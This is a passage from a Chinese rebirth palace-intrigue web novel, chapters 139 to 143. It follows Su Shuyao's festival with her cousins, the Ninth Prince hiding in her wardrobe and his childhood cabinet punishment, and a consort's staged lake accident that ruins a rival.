每次见着舒窈妹妹，她脸上都挂着笑，看起来平静温和，接触久了就会发现，她随时都是那副样子。 明明是个十六岁的孩子，却有种老气横秋的气质。 反观苏明沣，和苏舒窈差不多的年龄，整天活力四射，无忧无虑，像匹吃饱了没事干的小马驹。 和苏明沣比起来，苏舒窈有种活人微死感。 “会不会是有了心上人，受了情伤？二哥，你快去调查舒窈妹妹的心上人是谁，调查之后，让我这个三哥哥好好去考察一番。敢欺骗舒窈妹妹的感情，我毒不死他！” 苏明沣话刚说完，头上便落下两个爆栗，大哥二哥一人一个。 苏明沣捂着脑袋：“你们怎么老是打我？” 苏明厉警告道：“别老是把毒死人挂嘴边，再这样，鬼医那里，你就别去了！” “让你学医救人，不是让你害人的！” “知道了。”苏明沣揉了揉脑袋：“大哥，二哥，今儿女儿节，你们给舒窈妹妹准备了什么礼物？” 苏明南拿出一根五彩丝带编制的手链，苏明厉拿出一副亲手写的书法。 手链是苏明南亲手编制的，上面还穿了玉珠，玉珠是上好的羊脂玉，苏明南亲自选的。 苏明厉的字写得好，“鹏程万里”四个字辉煌大气、磅礴有力、力透纸背。 苏明南：“我的礼物实用，小姑娘都喜欢。” 苏明厉：“我的礼物更有诚意。” 苏明南：“手链是我自己编的，诚意比大哥的书法更甚，大哥你天天都要写字，写这几个字也花不了多少精力，这手链是我专门抽时间学的。” 两人都觉得自己的礼物好，一时间争执不下。 苏明沣看完之后，摇着脑袋，笑得乐不可支：“你们送的礼物，不及我的万分之一。” “舒窈妹妹肯定会更喜欢我的礼物！” 苏明厉淡淡问道：“你准备的什么？” 苏明沣引着两位兄长来到花园，指着几盆昙花道：“众所周知，舒窈妹妹喜欢花，我送她的是昙花。” 苏明南不服：“昙花有什么稀奇的？哪点比得上得亲自编的手链！” 苏明厉：“更比不上我亲手写的书法。” 苏明沣摇头晃脑解释道：“这几盆昙花是我精心挑选的，估摸着今晚就要开花，我等到开花的前一刻送给舒窈妹妹，让她许愿。” 昙花一现，昙花完全绽放，仅仅维持半个时辰。 有传言，三朵昙花同时盛开时许愿特别灵验。 苏舒窈不缺钱，花银子能买到的东西她肯定看不上眼。 她喜欢花，还能许愿，这份礼物确实比两位哥哥的礼物好太多。 苏明南心底泛上一抹酸意，他趁着苏明沣得意之际，抱起一盆品相不错的昙花就朝着厅堂跑去：“这盆看起来快开了，我给舒窈妹妹送过去！” 苏明厉抄起另一盆紧跟其后：“二弟，你等等我！” 苏明沣这才反应过来，自己送给舒窈妹妹的礼物被抢先了。 “大哥二哥，你们太卑鄙了！”苏明沣一边骂，一边抱起剩下的两盆昙花往厅堂跑去...... 苏舒窈刚编完一根五彩手链，便听见门外传来喧哗声。 “快！舒窈妹妹！！快来！！” 苏明南跑最前面，苏明沣在中间追赶，两人跑得身后都快出现残影了。 苏明厉最为稳重，双腿也快抡出了火星子。 “舒窈妹妹，昙花快开了，快许愿，昙花盛开的时候许愿一定会实现的！！” 四盆昙花被递到她面前。 苏舒窈第一次收到这么贵重的礼物，内心的空荡仿佛被一股暖流填满。 她接过哥哥们递来的昙花，郑重地抱在怀里。 昙花花苞悄然挺立，长长的雪白的花苞，好似优雅的天鹅颈。 霎时，花苞慢慢舒展，雪白的花瓣宛如细腻的羽毛般层层叠叠绽放。 如同月下美人，散发着醉人的香气。 四盆昙花同时开花了。 “舒窈妹妹，愣着干什么，赶紧许愿啊！” 苏舒窈用脸颊蹭了蹭花苞，一股清甜的香味瞬间盈满鼻腔： “我的愿望很难，哥哥们能帮我实现吗？” 苏明沣唇角一勾，拍着胸口保证：“舒窈妹妹，三哥哥无所不能！” 苏明南：“小事一桩。” 苏明厉：“舒窈妹妹，大哥哥很厉害的。” 苏舒窈皮肤细腻白皙，五官明媚，雪白的昙花在她的映衬下，竟然沦为了背景板。 真真人比花娇。 她抬起一双漂亮的眼眸，一错不错地盯着三位哥哥，眼神里却透着一闪而过的偏执。 “我要哥哥们爱我一辈子，对我好一辈子。” “一辈子，少一天、一个时辰、一秒都不行。” “必须要完完整整爱我一辈子。” “哥哥们可以做到吗？” 第139章 黏糊的视线 苏舒窈看起来拥有很多，她是侯府大小姐，有兄长、妹妹，父母健在，她还有好多银钱，看起来什么都不缺。 可是，她祈求亲情的样子，却像是一个贫瘠的、一无所有的乞讨者。 她又想起了上一世，万氏端来一碗汤水，亲自喂她喝下去。 喝完汤水，她失去知觉，再次醒来，身边躺着马夫，紧接着大门被撞开，万氏领着人冲了进来。 马夫指着她，说她蓄意勾引。 再然后，一群人开始谩骂，口沫横飞，面容扭曲。 骂她不守妇道、自私刻薄，他们的脸尖锐又阴毒，指着她的手指好似一把把利剑，专往她胸口上戳。 不管她怎么分辨，他们都不听。 元祖要休妻，苏明珠在一旁柔声道：“姐夫别生气，姐姐可能是有苦衷。” 苏明添骂她不知廉耻，苏明沛骂她人尽可夫，苏明芷骂她荒淫无耻，万氏让人把她绑了扔进柴房...... 紧接着，他们瓜分了她的私产，她的铺子、银票、古董、瓷器...... 上一世被“亲人”背叛，她内心敏感。 她更害怕眼前的一切如同昙花一现，极致的美丽，极致地绽放，到了最后，依然会变成一团泡影。 她想用手牢牢抓住，可是，昙花绽放过后，很快就会凋谢。 苏明沣三兄弟都愣住了，他们没想到苏舒窈会许这样一个愿望。 苏明沣率先回过神来：“舒窈妹妹，这辈子我们肯定会爱你，如果下辈子我们还是一家人，我们依然爱你。” “刚刚那个愿望太简单了，毫无难度啊，快，趁着昙花没有谢，你再重新许一个！” 苏明南也道：“对，换一个，这根本不叫愿望。” 苏明厉拦住两个弟弟，一脸严肃：“舒窈妹妹，我发誓我能做到。” 苏舒窈忽然笑起来，她笑起来很美，如繁花盛开。 眼底好似落入星子般，越来越亮，一汪泪水不知何时蓄满了眼眶，无声滑落。 大伯母将人抱在怀里，轻轻拍着她的背，低声哄道：“舒窈，我们是你最亲的家人，不用许愿，我们也会疼你爱你。” “家人的爱，不需要许愿，不需要代价，是无条件的爱......” ...... 今晚除了过节，还要给苏明沣送行，第二天，他便会去琅玡山，正式拜入鬼医门下。 他这一去，不知道什么时候才能回来了。 一家人热热闹闹坐在一起说话，大伯娘还给苏舒窈送了一双鞋。 “大伯娘，都说了你眼睛不好，针线活少做一点。”苏舒窈双手接过鞋。 一双普普通通的布鞋，用的是普通的布，纳的是千层底，针脚细密整齐，一看就是大伯娘亲自做的。 鞋底还有一丝血迹，想是手指被针扎了留下的。 大伯娘赶紧解释道：“舒窈别嫌弃，鞋上沾了长辈的气血，能保佑你平安健康。他们几个臭小子的鞋全是大伯娘做的，有时候还要故意扎破手指染点气血到上面，虽然我们没什么钱，但他们却从未得过很严重的病。” “大伯娘，我不嫌弃，我很喜欢。”苏舒窈觉得这双鞋好珍贵，比她那些缎面绣花鞋还珍贵百倍，她竟然有些舍不得穿。 真好，真想一直住在这里。 大家陪着她说了一会儿话，见她情绪渐渐稳定，又见她连打了几个呵欠，才把她送回院子。 这是苏舒窈的院子。 院子被打理得很好，院子正中换上了一块新牌匾，牌匾上写着“天籁小筑”四个大字。 小院的名字是她自己取的，牌匾是苏明厉写的。 正房里摆了一盆蝴蝶兰，多宝阁上摆了好几块寿山石。 看得出是精心布置过。 虽然不奢华，却处处透着温馨。 这是真正属于她的院子，在这里，整个身心都觉得放松。 “秋霜，让人打水，今晚我要歇在这儿。” 秋霜很快安排好，苏舒窈转身去了净房。 进入净房后，她身后的一个成人高的立柜，悄然打开一条缝。 阴影里，一双眼睛闪着黑光，静静注视着房间内的一切。 眼睛的主人，正是楚翎曜。 他的视线好似沾了水的羽毛，紧紧地贴着苏舒窈的后背，在她的发丝、脖颈上留下黏腻的痕迹。 苏舒窈取下发簪，黑发如瀑布般倾泻。 紧接着，她开始脱衣裳，纱衫、马面裙脱下，只剩一件红色的肚兜。 净房里，微弱烛火照在她身上。 她很白，黑色长发披散在肩头，将那一抹白，衬得更加鲜亮。 红色肚兜好似被烛火引燃，燃得轰轰烈烈。 楚翎曜猛地闭上了眼睛。 可是，就算闭上了眼，也无法将那一抹白和一抹红从眼前抹去。 铺天盖地的白色充斥在脑海，一浪接着一浪。 紧接着，又是大片的红色，红色与白色彼此纠缠，此消彼长，拉扯出各种各样的姿势。 脑中的颜色尽情缠绕，最后汇聚成苏舒窈拆发簪的样子，莹白纤细的手指捏着玉簪，轻轻一抽，长发便如潮水般倾泻。 黑色的发丝缠绕在手指上，一根又一根，将雪白的手指勒出浅浅的红印...... 楚翎曜的呼吸便变得厚重起来。 柜子打开的缝隙，慢慢被合上。 水声响起，水汽弥漫开来，就连紧闭的柜子里，也被带上了潮。 他仿若落入了漆黑的泥沼，整个人又湿又黏，怎么也爬不出来。 手上、脸上、脖颈上，全是粘黏的湿痕，渐渐的，就连呼吸也变得黏糊起来。 没一会儿，水声消失，紧接着，是淅淅索索穿衣裳的声音。 再然后，苏舒窈的脚步声响起。 “哒哒，哒哒。” 脚步声停在立柜门口。 “吱呀——” 柜门打开，苏舒窈带着一身潮气，笑盈盈站在立柜门口。 “殿下，你怎么在柜子里？” 她的发尖还在滴水，身上冒着白烟，湿漉漉，黏糊糊的。 裸露的、湿润的皮肤有种天然的吸引力，不仅吸引来飘散的头发丝粘住不放，还吸引了某人的目光。 楚翎曜身着玄色锦袍，眼神一暗，几乎与黑暗融为一体。 “本王喜欢柜子。” 苏舒窈浅浅一笑：“是吗，殿下能否告诉我，为什么喜欢柜子？” 她想知道九殿下的过往，知道他的所有一切，然后将他从漆黑的深渊里，一寸一寸地拖拽出来。 第140章 小黑屋 一开始，楚翎曜很害怕柜子。 小时候，只要他一犯错，就会被容妃关进柜子里。 檀木打造的柜子，刚好能装一个五岁的孩子。 柜子由皇家工匠打造，卯榫结构，严丝合缝，保证一丝光线都照不进来。 只要上锁，里面漆黑一片，伸手不见五指。 虽然淡淡的檀木香气很好闻，容妃还会专门在里面放上熏衣物的香料，但，在幼小的九皇子心中，地狱大概就是这个样子吧。 容妃说了，她一没打，二没骂，只是把人关进去反省。 柜子里安静，没有外人打扰，小秋还能静下心来复习太傅布置的功课。 不像皇后，动不动就用戒尺惩戒太子，德妃倒是不用戒尺，背地里让三皇子罚站。 她是后宫最仁慈的女人，也是最善良的母妃。 她做的一切，都是为了楚翎曜好。 刚被关进去的时候，楚翎曜很害怕，总是哭，哭得越久，就被关得越久。 一开始，宫女还会偷偷打开门，给他喝水，吃点心，放他去恭房。 后来被容妃发现，他便出不来了。 憋不住尿，只能尿身上。 饿了，渴了，也只能忍住。 不知道从什么时候起，他开始吃得很少，也不怎么喝水，害怕忽然又被母妃关进柜子。 刚开始，他还能在柜子里站立，随着身量渐长，他只能蜷缩在柜子里。 渐渐地，他不哭了，也开始适应黑暗。 不知从何时起，他爱上了黑暗。 在黑暗里，他感到安心。 有时候惩罚结束，耀眼的日光照进来，他反而觉得刺眼。 他变得沉默寡言，拒绝与任何人交流。 怕平时话说得多了，再次进入黑暗之后，会不适应。 不如一开始便保持沉默。 皇帝疑惑：“小九小时候挺活泼，怎么越大越沉默寡言？” 容妃天真地笑起来，像个不谙世事的孩子：“小九这是随了陛下，这孩子从小就沉稳，就跟陛下一个模子刻出来似的。” 其他皇子在这个年龄，天性活泼好动，就只有小九，小小年纪便像个成年人般稳重。 夏文帝的母妃只是一个小宫女，五岁的时候，被抱到了无所出的太后身边养着。 皇帝从小便养成了谨小慎微的性子。 楚翎曜因为沉默寡言，得到了皇帝的偏爱。 他不爱闹，也不爱笑，总是默默地站在阴影里。 他功课很好，几乎过目不忘，比很多年长皇子还优秀，常常得到太傅夸赞。 皇帝赞他：“大智若愚，纳言敏行。” 容妃说，这都是她的功劳。 楚翎曜刚满十五便接管了锦衣卫，成为皇帝身边最得宠的儿子，大权在手。 可是，在这个孝道大于天的朝代，他依然受制于容妃。 ...... “殿下为什么喜欢柜子？”苏舒窈的声音再次响起，打断了回忆。 楚翎曜身材高大挺拔，却完美地和黑暗融为一体，昳丽的五官潜藏在墨色里，好似蛊惑人心的妖。 “本王的事，你少管。” 声音冷漠、冰凉，带着一股浓浓的抗拒。 他拒绝和她分享心底的秘密。 看似在抗拒，可是事实却恰恰相反。 是他主动找来的，是他主动接近的。 他像一个矛盾体，一边接近，一边抗拒。 一边说着不要，一边却不受控制地藏身在她的衣柜里。 天塌下来，都有他的嘴硬顶着。 意识到这一点，楚翎曜烦躁地咬了咬牙龈。 起先他是想杀她的。 他杀人很有原则，不会让她简简单单地死去。 他像一个无所不能的猎人，尽情地玩弄猎物，让其崩溃、疯癫、恨不得自行了断。 就像他玩弄诏狱里的阶下囚。 一个弱小的女子，轻易就会被他玩弄于鼓掌，他会布下天罗地网，让她无处可逃。 可是，当他拿着带血的刑具、凶神恶煞出现在她面前的时候，她只要一个吻、一个拥抱、一个牵手，便能轻而易举地化解他的恶意。 脑中恶意消减，身体却充满愤怒。 就像现在，胸腔的怒火找不到发泄的出口，一路往下窜。 他从一块冷漠的冰，变成了炙热的火。 即使身处黑暗，依然熊熊燃烧。 仿佛......被玩弄的人，成了他...... 苏舒窈伸出手，小心翼翼将人牵在手里：“那我不管，殿下先出来好不好？” 楚翎曜的手再次被苏舒窈紧紧牵住。 苏舒窈想把他从黑暗里拉出来。 楚翎曜没有动。 意识到攻守之势的变化，楚翎曜站着不动，以保留最后的体面。 他不会让这个女人得逞。 苏舒窈放弃将人拉出来，她没有松开对方的手，往前一步，钻进了立柜。 “那我陪九殿下。” 既然九殿下不肯从黑暗里出来，她愿意和九殿下一起感受黑暗。 高大的立柜站一个人绰绰有余，挤了两个成年人，便显得逼仄。 “殿下，要关上柜门吗？” 楚翎曜没有回答。 苏舒窈将柜门关上，一瞬间，楚翎曜再次陷入黑暗。 失去视力，感官被无限放大。 整个空间变得更加潮湿，不仅如此，立柜里充满了香气，这股香气从苏舒窈身上散发，浅浅淡淡的兰花香，风一吹就散。 香气忽然变得极具侵略性，并且无孔无入，通过眼睛、耳朵、鼻腔、皮肤...... 肆无忌惮地侵入楚翎曜的身体...... 他烧得更加旺盛了。 楚翎曜推开柜门，牵着人走了出去。 这立柜，他是一刻也待不下去了。 苏舒窈跟在后面，笑了笑。 “殿下今夜前来，是给我送女儿节礼物的吗？” “不是。”声音依然冷淡。 “那殿下来干什么？”苏舒窈贴上去，探着头去看他的表情：“专门来陪我过节的吗？” 楚翎曜发现她的小动作，心中冷笑。 本王的心思，岂能轻易让你发觉。 冷冷开口：“点翠簪子给了冷如烟，并不是喜欢她。” 原来殿下专门跑这一趟，是专程来告诉她这件事的啊。 殿下好贴心。 苏舒窈好开心。 她仰起头问道：“不喜欢她，那为什么要送簪子给她？” 楚翎曜唇瓣紧闭，没有说话。 苏舒窈叹了口气，九殿下的心防，真的好难撬开，不过他愿意主动告诉她这些，也是一大进步。 “我知道殿下不喜欢她，我也没有生气。” 楚翎曜冷哼一声：“本王管你生不生气。” “殿下的嘴好硬。”苏舒窈仰起头看向他的唇。 他的唇瓣偏薄，颜色如春日樱瓣，不如女子唇瓣色泽浓艳，恰是玉石的温润。 “之前我亲过，软软的啊？” 简单一句话，直接让楚翎曜红温了。 他像一只煮熟的虾，红了个彻底。 “你矜持一点！” 他更愤怒了。 在外人面前装得沉稳大气，私下里竟然又是这般轻浮。 淫词浪句轻易就从她嘴里说出来了。 “真是表里不一。” 苏舒窈浅浅一笑。 是的，她表明温婉良善，实际上却像是阴沟里的老鼠、潮湿之地的毒蛇，想方设法地想要霸占九殿下。 少女紧紧拽着手中的大手，眼中闪过一道暗芒： “殿下外表高冷，内心灼热，殿下也表里不一，我们天生一对。” “你......” 楚翎曜从来没有见过如此大胆的女子。 他一刻也待不下去了，再待下去，他的“愤怒”便藏不住了。 楚翎曜逃也似的跑了。 不离开，那股“愤怒”会当场喷薄而出。 “可惜了......”少女低声呢喃。 今天还没抱到九殿下，可惜了。 楚翎曜离开后，桌上留下一支玉质温润的玉簪。 上面雕了一朵白玉兰，一如苏舒窈身上的香气，清新雅致。 玉簪触之温润，还带着九殿下身上灼热的体温。 玉簪上，刻了一个“窈”字。 那只点翠簪子再好看，也比不上九殿下亲手雕刻的玉簪。 ...... 第二天一早，天还没亮，冷如烟就坐到了妆奁旁开始梳妆打扮。 “你说，今日进宫，除了拜见容妃，应该能见到九殿下吧？” “当然能，说不定九殿下已经在容妃宫里等着小姐了。” “哎呀，你真讨厌！” 第141章 入宫 苏明珠一夜没睡好。 白日在长公主府吃了瘪，回府又被威远侯骂了一顿。 她可是重生过一次的人，为什么每次遇上苏舒窈，都这般憋屈？！ 她不服！ 想到威远侯的话，苏明珠辗转反侧。 如果元祖不娶她，威远侯说不定会把她嫁到山旮旯。 按照上一世的时间线，元家马上要被抄家了，但，元家抄家不到两个月，就会平反。 她大可以在元家被抄家的时候，对元祖示好。 这样，轻易就能得到元祖的承诺，等元家一平反，她就能嫁入元家。 元祖，只不过是她的备选方案罢了，只要她想嫁，就一定能嫁。 元家的事放一边，冷如烟可一定要成为九皇妃啊！ 上一世，九殿下到死都没有成亲，冷如烟最后怎么了...... 苏明珠实在是不知道冷如烟的结局，她找到了同样是重生之子的苏明添。 “二哥哥，你知道冷如烟吗？” “冷侍郎家的千金？”上一世，苏明添对冷如烟印象深刻。 “听说良妃有意撮合冷姑娘和九殿下，容妃对冷姑娘也是满意的，但有一次，冷姑娘进宫探望良妃，不慎跌入湖中，我的同僚宁斌将她救了起来，后来冷姑娘嫁给了宁斌。” 金吾卫大部分是勋贵子弟，也有少部分是通过武举考入的寒门。 宁斌正是武举人，能娶到户部侍郎的千金，宁家祖坟冒青烟了。 当年宁斌和冷姑娘大婚，他还去喝了喜酒。 他对那个同僚印象非常深刻。 大家都夸宁斌命好。 苏明珠听完之后，马不停蹄赶往冷府，在门口的时候，正好遇到冷如烟的马车。 “如烟姐姐！！”苏明珠扒在马车门上，将马车拦停。 冷如烟淡淡睨了她一眼：“你来干什么？” 苏明珠大声道：“如烟姐姐，你今日入宫，一定要远离湖边，千万别往湖边去，我昨晚做了个梦，梦到湖边有条鱼妖觊觎姐姐的美貌，想要吃掉姐姐！那条鱼妖自称姓宁，已经有了人形......” 大喜的日子遇到疯子，冷如烟的脸当场就跨了下来：“什么鱼妖，你失心疯了吧？” 冷夫人在女儿身上拍了拍：“如烟，苏姑娘也是好意。” “多谢苏姑娘的提醒，苏姑娘先回去吧，我们赶时间，等如烟回府再请你来玩。” 苏明珠不敢明说自己重生过一次，只敢隐晦地提醒。 如果她的提醒能救下冷如烟，冷如烟虽然不会感激她，但一定会帮着她对付苏舒窈。 帘子放下之后，冷如烟嗔道：“母亲，你听她胡说，哪里来的什么鱼妖？还是条姓宁的鱼妖？简直笑话！” 冷夫人道：“这世上某些人有些特别的能力，说不定苏姑娘的提醒能救你一命。你今儿进宫，记着要远离湖边。” 冷如烟扁扁嘴：“女儿知道了。” ~ 皇宫，锦云轩。 六皇子楚言蹊小声和楚翎曜说话：“小九，你眼睛好好的，怎么看上冷家表妹了？” 楚翎曜不过送了冷如烟一根点翠簪子，整个皇宫都知道，就连皇帝听说今日冷如烟入宫，都问了两句。 楚翎曜睨他一眼，没有说话。 楚言蹊：“我见过冷表妹没抹脂粉的样子，实在是一般，不及九弟万分之一，实在是不般配。” 忽然，良妃的声音响起：“言蹊，你在和九殿下说什么悄悄话？” 良妃生得极柔，眉眼透着一股温婉，说话的声音细细的，像是受惊的小兔，虽然颜色不是后宫最好的，却是最让人心疼的。 和冷如烟有几分相似。 但良妃的柔是发自骨子里的，冷如烟的弱却带着几分刻意。 楚言蹊：“母妃，我们在说今日天气好，想去游湖。” 良妃柔柔地笑道：“可以啊，我待会儿跟容妃妹妹说一声，把筵席摆到湖边吧。” 冷如烟进宫之后，被直接带到了玉镜湖边。 “冷姑娘，良妃娘娘和容妃娘娘已经在湖边等着了。” 冷如烟听到“玉镜湖”三个字，心里咯噔了一下。 难道真的被苏明珠说中了？ 不管怎么样，待会儿一定要小心一点。 在宫人的带领下，冷如烟来到玉镜湖边的凉亭。 “民女冷如烟参见良妃娘娘、容妃娘娘，愿娘娘身体康泰，岁岁无忧。” “起来吧，都是自己人，不必多礼。”良妃吩咐之后，立刻有宫人将冷如烟扶起。 容妃一错不错地看着冷如烟：“良妃姐姐的侄女真是秀外慧中。” 她的脸上挂着笑，看起来很正常，那笑意却不达眼底。 长袖下，护甲生生将黄花梨椅背抵出一道浅痕。 良妃朝着人招手：“如烟快过来，让容妃妹妹好好看看。” 冷如烟挽了个坠马髻，头上只插了一根簪子——九殿下送给她的点翠簪子。 “如烟姑娘长得可真好啊，怪不得小九会动心。”容妃用帕子捂着嘴，咯咯笑道：“本宫把小九养了这么大，还没收过小九的礼物呢。真的儿大不由娘，从长公主那里得了根簪子，巴巴地就送人了。” 语带娇嗔。 容妃年轻的时候便擅长娇嗔，皇帝也喜欢她的撒娇。 上了年龄，虽然保养得极好，娇嗔起来韵味十足，却少了两分少女的娇俏。 楚翎曜坐在容妃下首，低垂着眼帘，不知道在想什么。 他既没有承认，但也没有否认。 没有否认，就是默认。 冷如烟低着头，双颊染上了一抹娇羞。 此时的冷如烟，激动得浑身打摆子。 九皇妃之位，稳了。 “如烟，坐到本宫这里，陪本宫说说话。”冷如烟坐到了容妃右手边，容妃拉着她的手，亲切如母女。 良妃看着两人交握在一起的手，眼中笑意渐浓。 “这是内务府那边送来的果酒，本宫尝着味儿不错，今儿高兴，大家都喝一点。” 冷如烟想说自己不会喝酒，可是容妃盛情难却，她不好推辞。 母亲今儿早上还和她说，容妃的脾气有些古怪，让她小心一些。 现在看来，都是误传，容妃好亲和。 冷如烟端起果酒，浅浅喝了一口。 入口香甜，和夏日的果子露差不多的口感，适当喝一点应该没问题吧。 楚翎曜端起果酒，沾了沾唇。 果酒加了蜂蜜，酒味被果香甜味尽数掩盖，实则很烈，不胜酒力的人很容易醉。 在容良二妃的盛情款待下，冷如烟一杯接着一杯，没一会儿，便红了脸。 第142章 算计 “容妃娘娘，如烟不能再喝了。”冷如烟有些微醺，不管容妃再怎么劝，都不肯再饮。 容妃又让人沏了果茶来，“不喝酒，便喝点茶吧。” “这果茶酸酸甜甜，不仅解腻，还能解酒。” 冷如烟一开始担心拒绝会引来容妃不快，没想到容妃这般平易近人。 一颗忐忑的心完全放松下来。 果茶沏上来，果然鲜甜可口。 冷如烟吃着吃着，忽然感觉肚子涨涨的。 哎呀，想去恭房。 这可怎么办啊？ 入宫之前母亲告诫她，尽量不要吃东西，吃多了容易失态。 不会给容妃留下不好的印象吧？ 冷如烟脸上出现一丝焦虑。 容妃善解人意，一下子便看出她的窘迫：“如烟，本宫和你一见如故，你扶我出去透透气吧。” “是，容妃娘娘。”冷如烟扶着容妃的手，走出凉亭。 楚翎曜抬头看了看两人的背影，端起果酒，一饮而尽。 眼眸毫无波澜。 良妃看着亲如母女的二人，让宫人搀扶着，柔柔地躺到榻上，静静地看着平静无波的水面。 伶人继续弹奏，曲声悠扬婉转，仿若天籁。 走出凉亭，容妃主动开口：“如烟是想去恭房吧。” 冷如烟羞得脖子都红了：“容妃娘娘，失礼了。” 容妃拍着她的手，笑得亲切：“哪里失礼，人有三急，是再正常不过的事，本宫在这里等你，让晚玉带你去吧。” 晚玉姑姑：“如烟姑娘，跟着奴婢过来吧。” 冷如烟：“多谢容妃娘娘。” 晚玉带着人，却往渡廊上走。 渡廊横跨整个玉镜湖，冷如烟想起苏明珠的话，迟疑了一瞬。 晚玉姑姑主动道：“如烟姑娘，这里过去是一所偏殿，那边的恭房离得最近，再说了，那边平时没什么人过去，如烟姑娘想大解也是可以的。” 冷如烟这才放心跟着走。 走到湖中心，晚玉忽然停下脚步，“哎哟，如烟姑娘，我的脚崴了。” “晚玉姑姑，你没事吧？” 冷如烟上前一步，抬手要去扶晚玉，结果两人没站稳，撞到渡廊的栏栅上。 可能是冷如烟运气不好，栏栅竟然是松的。 两人同时落入湖中。 “来人啊，有人掉到湖里了！！！” 巡逻的金吾卫听到呼喊，迅速来到河边，将落水的二人救了上来。 ...... 冷如烟躺在锦云轩偏殿的床榻上，宛如一条死鱼。 脸色苍白，手脚冰凉。 她是会水的，冷家在京郊有温泉庄子，她小时候学过凫水。 掉入湖中的那一刻，她并没有太过惊慌，自己游上去便是。 可是，晚玉姑姑死死抱着她，拼命把她往水底拽。 呛过几次水之后，她的视线逐渐模糊...... 再次睁眼，她被一个陌生的男子紧紧抱住，她奋力挣扎，男子却越抱越紧，像一条力大无比的鱼妖，将她牢牢禁锢。 “如烟，太好了，你醒了。太医来瞧过了，你的身体没有问题，只是惊吓过度而已。” 良妃柔柔的声音响起。 “幸亏金吾卫在一旁巡逻，及时将你救了起来，要是你有什么三长两短，本宫不知道该怎么向哥哥交待。” “如烟，要不要喝点姜汤？” 冷如烟转头看向良妃，两行清泪顺着脸庞滑下：“姑姑，你说，我是不是没有机会嫁给九殿下了？” 良妃眼眶一红，上前握住她的手：“傻孩子，人好好的就行。如烟，你单纯，你不知道，这深宫里的女人，并非外表那般纯良。” 真正纯良的女人，早已被啃得连渣都不剩了。 冷如烟抬手，发髻空空如也，哪里还有什么点翠簪子。 她此时还有什么不明白。 这一切，全是阴谋。 容妃那个贱人是故意的，故意让她喝了果酒，又让她喝那么多果茶，然后故意带她走到湖中心，就是要制造一个酒醉入水的假象。 容妃看不上她，却不明说，偏偏要用这样一个法子来毁了她。 “姑姑，九殿下明明是喜欢我的，姑姑能不能再帮我争取一下？”冷如烟泪流满面：“姑姑能不能帮我把九殿下叫来，我亲口问一问他，就算是给九殿下当侍妾，我也是愿意的！” 良妃摇了摇头：“不行的，当你被金吾卫从水里捞起的那一刻，你和九殿下就不可能了。” “本宫问过了，救你那名金吾卫姓宁，家境虽然贫寒了一些，但人不错，是武举人出身，你嫁过去就能当家做主，有家人撑腰，宁母也不敢为难你......” 听到对方姓“宁”，冷如烟忽然想起苏明珠的话。 鱼妖，姓宁的鱼妖...... 难不成，苏明珠真是什么奇人，能预知未来？ 她现在很后悔，要是一开始听了苏明珠的话，保持警惕，也不会遭遇大难。 “如烟，喝碗姜汤，喝完之后本宫安排你出宫。” 冷如烟一把抓住良妃的胳膊：“姑姑，我不要出宫，我不要嫁给姓宁的金吾卫！” 苏明珠说了，姓宁的是鱼妖害她，说不定姓宁的和容妃密谋，她要是嫁给姓宁的，岂不是送羊入虎口。 她不能让她们得逞。 她冷如烟，高贵美丽，怎么可能嫁给一个低贱的侍卫？！ 良妃忽然被抓住，像只受惊的小兔般抖着身子：“如烟，你不出宫怎么行，这后宫全是皇帝的女人。” 冷如烟眼神暗了下去：“还请姑姑帮我！” 良妃怯生生道：“你要本宫怎么帮你？本宫年华已逝，后宫姐妹众多，姑姑早已不复当年那般得宠。” “姑姑和容妃同为四妃，你言蹊表哥不如九殿下得宠，姑姑在皇帝面前，说话的分量也不及容妃。姑姑怕是帮不了你。” 冷如烟眼底闪过一丝阴霾，声音也沉了下去：“姑姑帮我入宫，只有入宫，才能报仇。” 良妃：“如烟，你父亲对你百般疼爱，怎么可能让你踏入后宫这个吃人不吐骨头的深渊？” 冷如烟脑中理智全无，只剩偏执：“姑姑，你就帮我吧，我已经不能嫁给九殿下，活着还有什么意思？” “姑姑就帮我入宫吧，在宫里，我还能常常见到九殿下。” 她要用宫妃的身份，继续留在九殿下身边。 良妃轻抚着冷如烟的发丝，脸上还是一副怯生生的表情，唇角却忍不住往上勾起。 以色事人者，色衰爱弛。 在众多嫔妃中，良妃除了一张脸，家世不显，也没什么心计。 如烟颜色虽然差了一点。 但年轻。 就连皇帝，也逃不过一树梨花压海棠的诱惑。 今日这场闹剧，与其说是冷如烟自己做出的决定，不如说是她刻意引导。 她要利用冷如烟固宠。 良妃亲自去御书房送了一回汤。 当天晚上，皇帝去了锦云轩。 第二天一早，后宫多了一位冷贵人。 第143章 再给你一次机会 留取残荷，细听雨吟。 苏明沣第二天便要启程去琅玡山，过年可能都回不来。 一大早，全家都去城门口送他。 儿行千里母担忧，大伯娘给他准备了五六个包袱，其中大半都是吃食。 苏明沣抱着包袱，悄悄和苏明南咬耳朵，“二哥，舒窈妹妹昨天那个样子，想必在侯府受了不少委屈。女儿家心思重，她不说，我们也不好多问。” 苏明南沉着脸，“必定是。苏明添都瘫了，还敢欺负舒窈妹妹，可想而知，舒窈妹妹在侯府过的是什么水生活热的日子。” 苏明沣捏着拳头：“我要不是今儿要走，必定偷偷溜进侯府，把苏明添那个瘫子乱棍打死！” 苏明南把他推上马车：“这事交给我，要是逮到机会，我必定要给苏明添两兄弟好看！” “二哥，我走了，大哥要读书，舒窈妹妹就交给你了，你一定要把她保护好，等我学成归来，再有怨报怨有仇报仇！” 大伯娘嗔道：“你们两兄弟叽里咕噜说什么呢？” 苏明沣咧嘴一笑，朝着苏舒窈挥手：“舒窈妹妹，等我学成归来，挣大钱给你买最漂亮的首饰！” 苏舒窈浅浅一笑：“三哥哥在山上要保重，可别乱说话惹了鬼医。” 苏明沣眉眼一扬，满面春风：“放心吧，鬼医嘴硬心软，他可舍不得伤了我这个宝贝徒弟！” 苏舒窈被他不要脸的样子逗得乐不可支：“快去吧，别误了时辰。” 马车慢慢往城外驶去，忽然，苏明沣半个身子从窗户探出来，朝着苏舒窈挥手：“舒窈妹妹，有什么委屈尽管告诉二哥，可千万别自己一个人憋在心里！” “你是我们最疼爱的妹妹——” 看着马车消失在城门口，苏舒窈心中生出一丝不舍。 希望三哥哥平平安安归来。 一夜未归，苏舒窈今天必须要回侯府了。 她和大伯娘辞别，准备去花草铺子上看看，路过文房四宝的铺子，苏舒窈带着秋霜走了进去。 昨儿晚上，她看到苏明厉沾着水写字。 想是缺了什么，又不好意思说。 苏舒窈刚走进铺子，迎面便遇上了苏明沣。 “苏舒窈，怎么在这里？跟着我来的？” 苏明沛带着苏明芷，正在挑选毛笔。 